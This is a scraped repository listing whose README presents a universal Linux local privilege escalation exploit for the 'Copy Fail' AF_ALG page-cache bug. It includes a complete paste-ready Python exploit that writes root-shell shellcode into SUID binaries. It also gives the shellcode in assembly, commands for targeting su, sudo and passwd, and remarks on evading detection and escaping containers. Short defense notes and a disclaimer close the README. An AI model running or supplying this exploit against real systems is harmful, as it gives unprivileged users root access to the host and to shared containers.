[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-80111":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":16,"stars7d":16,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":17,"compositeScore":18,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":10,"pushedAt":10,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":15,"starSnapshotCount":15,"syncStatus":16,"lastSyncTime":33,"discoverSource":34},80111,"CVE-2026-31431-CopyFail-Universal-LPE","shadowabi\u002FCVE-2026-31431-CopyFail-Universal-LPE","shadowabi","CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2\u002F3 compatible with ctypes splice fallback","",null,"Python",57,12,55,0,2,6,3.34,false,"main",true,[23,24,25,26,27,28,29],"container-escape","copy-fail","cve-2026-31431","exploit","linux-kernel","lpe","privilege-escalation","2026-06-12 02:03:58","# CVE-2026-31431 \"Copy Fail\" — Universal LPE Exploit\n\n> **Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation**\n>\n> Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.\n\n## What is this?\n\n[CVE-2026-31431](https:\u002F\u002Fcopy.fail\u002F) is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing `splice()` + `authencesn` in-place decryption, an unprivileged user can write **4 bytes at an arbitrary offset** in the kernel's **page cache** — the same cache used for all file-backed memory.\n\nThis means:\n- **No race conditions** — single-threaded, deterministic\n- **No special privileges** — works inside default Docker containers (seccomp allows AF_ALG)\n- **No kernel version dependency** — affects all kernels from 2017 to present\n- **Modifies files in memory only** — disk is untouched, reboot erases all traces\n\n## Exploit Approaches\n\nThis repository provides **three** tools using the same AF_ALG copy-fall primitive:\n\n| | **Dynamic Entry Point** | **Full Binary Replace** | **Vuln Checker** |\n|---|---|---|---|\n| File | `exploit.py` | `poc_compatible.py` | `check_cve.sh` |\n| Strategy | Overwrites ELF entry point with shellcode | Replaces entire binary from offset 0 | Tests if target is vulnerable |\n| Target | Any x86_64 SUID binary | Any binary (SUID or not) | N\u002FA |\n| Python | 3.x (all versions) | 2 \u002F 3 | Bash |\n| Payload | 36 bytes shellcode | zlib-compressed full ELF | N\u002FA |\n| Author | This work | [h4ppy7ree](https:\u002F\u002Fgithub.com\u002Fh4ppy7ree) | [h4ppy7ree](https:\u002F\u002Fgithub.com\u002Fh4ppy7ree) |\n\n**Dynamic entry point** — Parses the ELF header at runtime to calculate the entry point file offset (`p_offset + (e_entry - p_vaddr)`), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.\n\n**Full binary replace** — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.\n\n**Vulnerability checker** — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.\n\n## Quick Start\n\n### Prerequisites\n\n- Linux kernel (any version since ~2017)\n- Python 3.x (for `exploit.py`; Python 2 supported via `poc_compatible.py`)\n- Any SUID-root binary (`\u002Fusr\u002Fbin\u002Fsu`, `\u002Fusr\u002Fbin\u002Fsudo`, etc.)\n\n### One-liner Reproduction\n\n```bash\n# Create a test container with an unprivileged user\ndocker run -ti --rm ubuntu:22.04 bash -c '\n  sed -i \"s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g\" \u002Fetc\u002Fapt\u002Fsources.list\n  apt-get update -qq && apt-get install -y -qq python3 gcc\n  cat > \u002Ftmp\u002Fverify.c \u003C\u003C EOF\n#include \u003Cunistd.h>\n#include \u003Cstdio.h>\nint main() {\n    printf(\"uid=%d euid=%d\\\\n\", getuid(), geteuid());\n    printf(\"Not rooted - exploit entry point to get shell\\\\n\");\n    return 0;\n}\nEOF\n  gcc -o \u002Fusr\u002Flocal\u002Fbin\u002Fverify \u002Ftmp\u002Fverify.c\n  chmod 4755 \u002Fusr\u002Flocal\u002Fbin\u002Fverify\n  useradd -m testuser\n  su - testuser\n'\n```\n\nThen inside the container as `testuser`:\n\n```bash\n# Before: setuid(0) fails because real uid is not 0\n\u002Fusr\u002Flocal\u002Fbin\u002Fverify\n# uid=1000 euid=0\n# (exits normally, no root)\n\n# Run the exploit\npython3 exploit.py \u002Fusr\u002Flocal\u002Fbin\u002Fverify\n\n# After: entry point overwritten, shellcode gets root\n# uid=0(root) gid=1000(testuser)\n```\n\n### One-liner (no file transfer needed)\n\nIn real scenarios you often only have a raw shell — no `scp`, no `curl`, no `wget`. This method uses `cat` heredoc to write the exploit directly in terminal:\n\n```bash\n# Option 1: run the shell script\nsh exploit-one-liner.sh \u002Fusr\u002Flocal\u002Fbin\u002Fverify\n\n# Option 2: paste directly into terminal (copy the entire block)\ncat > \u002Ftmp\u002Fexploit.py \u003C\u003C 'EXPY'\nfrom __future__ import print_function\nimport os,socket,struct,sys,binascii,ctypes,ctypes.util\nif not hasattr(os,'splice'):\n _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)\n def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):\n  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))\n  if r==-1:raise OSError(ctypes.get_errno(),'splice')\n  return r\n os.splice=_s\ndef d(x):\n if isinstance(x,str):x=x.encode('ascii')\n return binascii.unhexlify(x)\ndef w(t,o,p):\n s=socket.socket(38,5,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"))\n s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)\n u,_=s.accept();z=d('00')\n u.sendmsg([b\"A\"*4+p],[(279,3,z*4),(279,2,b'\\x10'+z*19),(279,4,b'\\x08'+z*3)],32768)\n r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)\n try:u.recv(8+o)\n except:0\n [os.close(x) for x in [fd,r,ww]];u.close();s.close()\nwith open(sys.argv[1],'rb') as f: h=f.read(64)\ne=struct.unpack_from('\u003CQ',h,24)[0]\np=struct.unpack_from('\u003CQ',h,32)[0]\nn=struct.unpack_from('\u003CH',h,56)[0]\nsz=struct.unpack_from('\u003CH',h,54)[0]\noff=0\nwith open(sys.argv[1],'rb') as f:\n for i in range(n):\n  f.seek(p+i*sz);ph=f.read(sz)\n  if struct.unpack_from('\u003CI',ph,0)[0]!=1: continue\n  pv,po,pf=struct.unpack_from('\u003CQQQ',ph,16)[:3];pv2=struct.unpack_from('\u003CQ',ph,8)[0]\n  if pv\u003C=e\u003Cpv+pf: off=pv2+(e-pv);break\nprint(\"entry offset: 0x%x\" % off)\nsc=b'\\x48\\x31\\xff\\x31\\xc0\\xb0\\x69\\x0f\\x05'\nsc+=b'\\x48\\x31\\xd2\\x52'\nsc+=b'\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00'\nsc+=b'\\x53\\x48\\x89\\xe7\\x48\\x31\\xf6\\x31\\xc0\\xb0\\x3b\\x0f\\x05'\nprint(\"shellcode %d bytes\" % len(sc))\nsc+=b'\\x00'*(4-len(sc)%4)\nfor i in range(len(sc)\u002F\u002F4):\n w(sys.argv[1],off+i*4,sc[i*4:i*4+4])\n print(\"  wrote 0x%x: %s\" % (off+i*4,sc[i*4:i*4+4].hex()))\nwith open(sys.argv[1],'rb') as f:\n f.seek(off);vd=f.read(32)\nprint(\"verify: %s\" % vd[:len(sc)].hex())\nos.system(sys.argv[1])\nEXPY\n\npython3 \u002Ftmp\u002Fexploit.py \u002Fusr\u002Flocal\u002Fbin\u002Fverify\n```\n\n> **Why this matters**: Container environments often lack file transfer tools (`scp`, `curl`, `wget`). The heredoc method requires only `cat` and `python3` — available everywhere.\n\n### Targeting Other SUID Binaries\n\nYou can replace `\u002Fusr\u002Flocal\u002Fbin\u002Fverify` with any SUID-root binary:\n\n```bash\npython3 exploit.py \u002Fusr\u002Fbin\u002Fsu\npython3 exploit.py \u002Fusr\u002Fbin\u002Fsudo\npython3 exploit.py \u002Fusr\u002Fbin\u002Fpasswd\npython3 exploit.py \u002Fusr\u002Fbin\u002Fchsh\n```\n\n> ⚠️ **Warning**: Targeting system SUID binaries (like `\u002Fusr\u002Fbin\u002Fsu`) affects **all users on the system**. The binary becomes unusable until page cache is cleared. On the host machine, any user running `su` would get a root shell.\n>\n> On a shared\u002Fproduction system, this is **immediately noticeable** — `su` will crash or spawn unexpected shells for everyone. Use `verify.c` for safe testing.\n\n### Recovery\n\nThe exploit only modifies **page cache** (memory), not disk. Recovery options:\n\n| Method | Where | Command |\n|--------|-------|---------|\n| **Drop page cache** | Host (root) | `echo 3 > \u002Fproc\u002Fsys\u002Fvm\u002Fdrop_caches` |\n| **Reboot** | Anywhere | `reboot` — page cache is volatile |\n| **Container destroyed** | Anywhere | `docker rm` — page cache released with container |\n\n```bash\n# On the host (after container testing):\necho 3 | sudo tee \u002Fproc\u002Fsys\u002Fvm\u002Fdrop_caches\n\n# Verify recovery:\nxxd -l 8 \u002Fusr\u002Fbin\u002Fsu\n# Should show: 7f45 4c46 (.ELF)\n```\n\n> **Note**: Inside a default (non-privileged) container, `echo 3 > \u002Fproc\u002Fsys\u002Fvm\u002Fdrop_caches` fails with `Read-only file system` — this requires host access or container destruction.\n\n## Attack Surface\n\n| Vector | Works? | Details |\n|--------|--------|---------|\n| **LPE (local user → root)** | ✅ Yes | Overwrite SUID binary entry point |\n| **Container escape (default)** | ❌ No | overlayfs per-mount page cache isolation |\n| **Container escape (host write)** | ✅ Yes | Write via `\u002Fproc\u002FPID\u002Froot\u002F` from host |\n| **Cross-container (host write)** | ✅ Yes | Same inode → shared lower-layer page cache |\n\n## How It Works\n\n### The Vulnerability\n\nThe kernel's `authencesn` AEAD algorithm has a bug in its in-place decryption path:\n\n1. User creates an `AF_ALG` socket with `authencesn(hmac(sha256), cbc(aes))`\n2. User calls `splice()` to feed file data into the crypto socket — this maps **page cache pages** directly into the kernel's scatterlist\n3. During decryption, `authencesn` writes 4 bytes of `seqno_lo` after the authentication tag\n4. By controlling the associated data length and IV layout, the attacker controls **where** those 4 bytes land\n\nResult: **4-byte arbitrary write to any page-cached file**.\n\n### The Exploit\n\n```\n┌─────────────────────────────────────────────────────┐\n│  ELF Binary (\u002Fusr\u002Fbin\u002Fsu)                           │\n│                                                     │\n│  0x0000: ┌──────────┐                               │\n│          │ ELF Header │  e_entry = 0x4013f0         │\n│          │           │  ← parse dynamically         │\n│          └──────────┘                               │\n│  ...                                                │\n│  0x3f20: ┌──────────┐  ← calculated file offset    │\n│          │ orig code │                               │\n│          │           │  ─── copy fall writes ───→   │\n│          │ SHELLCODE │  setuid(0) + execve(\"\u002Fbin\u002Fsh\")│\n│          └──────────┘                               │\n│  ...                                                │\n└─────────────────────────────────────────────────────┘\n\nWhen kernel loads the SUID binary, it sets euid=0, then jumps to entry point.\nEntry point is now our shellcode → setuid(0) succeeds → root shell.\n```\n\n### Shellcode\n\n```asm\nxor  rdi, rdi          ; uid = 0\nxor  eax, eax\nmov  al, 0x69           ; __NR_setuid\nsyscall                 ; setuid(0)\nxor  rdx, rdx\npush rdx                ; null terminator\nmovabs rbx, \"\u002Fbin\u002Fsh\\0\"\npush rbx\nmov  rdi, rsp           ; filename\nxor  rsi, rsi           ; argv = NULL\nxor  eax, eax\nmov  al, 0x3b           ; __NR_execve\nsyscall                 ; execve(\"\u002Fbin\u002Fsh\", NULL, NULL)\n```\n\n36 bytes, 9 copy-fall writes (4 bytes each).\n\n## Why This Matters\n\n### Container Security\n\nDefault Docker containers are **not** protected from this:\n\n| Protection | Status |\n|-----------|--------|\n| Seccomp | ✅ AF_ALG allowed by default |\n| User namespaces | ❌ Not used in default Docker |\n| AppArmor\u002FSELinux | ❌ Does not restrict AF_ALG |\n| Capability dropping | ❌ No special caps needed |\n\nThe only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).\n\n### Detection Difficulty\n\n- **Disk is never modified** — page cache writes are memory-only\n- **No new files created** — exploit is a single Python script\n- **No kernel module loaded** — pure syscall abuse\n- **Reboot erases all evidence** — page cache is volatile\n\n### Affected Systems\n\nEvery Linux kernel since the `algif_aead` in-place conversion (merged ~2017), including:\n- Ubuntu 18.04 \u002F 20.04 \u002F 22.04 \u002F 24.04\n- Debian 10 \u002F 11 \u002F 12\n- RHEL 8 \u002F 9\n- CentOS Stream\n- Amazon Linux 2 \u002F 2023\n- **Docker containers** (default seccomp profile)\n- **Kubernetes pods** (default configurations)\n- **WSL2** (confirmed)\n\n## File Structure\n\n```\n.\n├── exploit.py              # Dynamic ELF entry point overwrite (Python 3.x)\n├── exploit-one-liner.sh    # Paste-friendly version (no file transfer needed)\n├── poc_compatible.py       # Full ELF binary overwrite from offset 0 (Python 2\u002F3, by h4ppy7ree)\n├── poc_ctypes.py           # ctypes splice for Python 3.0-3.9 (by h4ppy7ree)\n├── check_cve.sh            # Vulnerability checker (by h4ppy7ree)\n├── verify\u002F\n│   └── verify.c            # SUID verification program for testing\n└── README.md               # This file\n```\n\n## Defense\n\n- **Apply kernel patch** — upstream fix available\n- **Seccomp**: Block `AF_ALG` domain (`socket(AF_ALG, ...)` → `errno`)\n- **AppArmor**: Deny `af_alg` socket creation\n- **Kernel hardening**: `CONFIG_CRYPTO_USER_API_AEAD=n`\n- **Monitoring**: Audit `socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)` syscalls\n\n## Credits\n\n- **Vulnerability discovery**: [Taeyang Lee (Theori)](https:\u002F\u002Fcopy.fail\u002F) \u002F [theori-io\u002Fcopy-fail-CVE-2026-31431](https:\u002F\u002Fgithub.com\u002Ftheori-io\u002Fcopy-fail-CVE-2026-31431)\n- **Dynamic offset calculation & universal exploit**: This work\n- **Full binary replace approach & vulnerability checker**: [h4ppy7ree](https:\u002F\u002Fgithub.com\u002Fh4ppy7ree) ([PR #1](https:\u002F\u002Fgithub.com\u002Fshadowabi\u002FCVE-2026-31431-CopyFail-Universal-LPE\u002Fpull\u002F1))\n\n## Disclaimer\n\nThis exploit is provided for **authorized security research and educational purposes only**. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.\n\n## License\n\nMIT\n","该项目针对CVE-2026-31431漏洞，提供了一个通用的本地权限提升（LPE）利用工具。核心功能包括动态ELF入口点覆盖和全二进制替换，支持Python 2\u002F3，并使用ctypes作为splice的备用方案。该工具能够实现无竞争条件、无需特殊权限的操作，并且不受特定内核版本限制，适用于所有自2017年以来的Linux内核。特别适合在默认Docker容器中进行测试或研究，以及需要验证系统是否存在该漏洞的场景。通过修改内存中的文件而不触及磁盘，确保了操作的隐蔽性和可逆性。","2026-06-11 03:59:16","CREATED_QUERY"]